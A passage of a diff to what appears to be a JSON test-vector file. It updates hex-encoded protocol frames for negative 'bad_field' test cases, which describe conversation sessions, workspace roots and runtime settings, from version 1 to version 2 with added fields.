"574d583101010000010000008d0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-sees-the-winter-tree", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-plan-writable", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-null-but-runtime-present", "direction": "down", - "hex": "574d58310101000001000000270600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000640600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-present-but-runtime-absent", "direction": "down", - "hex": "574d583101010000010000004a0300007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005b0300007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-guided-profile-without-binding", "direction": "down", - "hex": "574d58310101000001000000fa0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c7d7d5d7d", + "hex": "574d58310101000001000000370600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e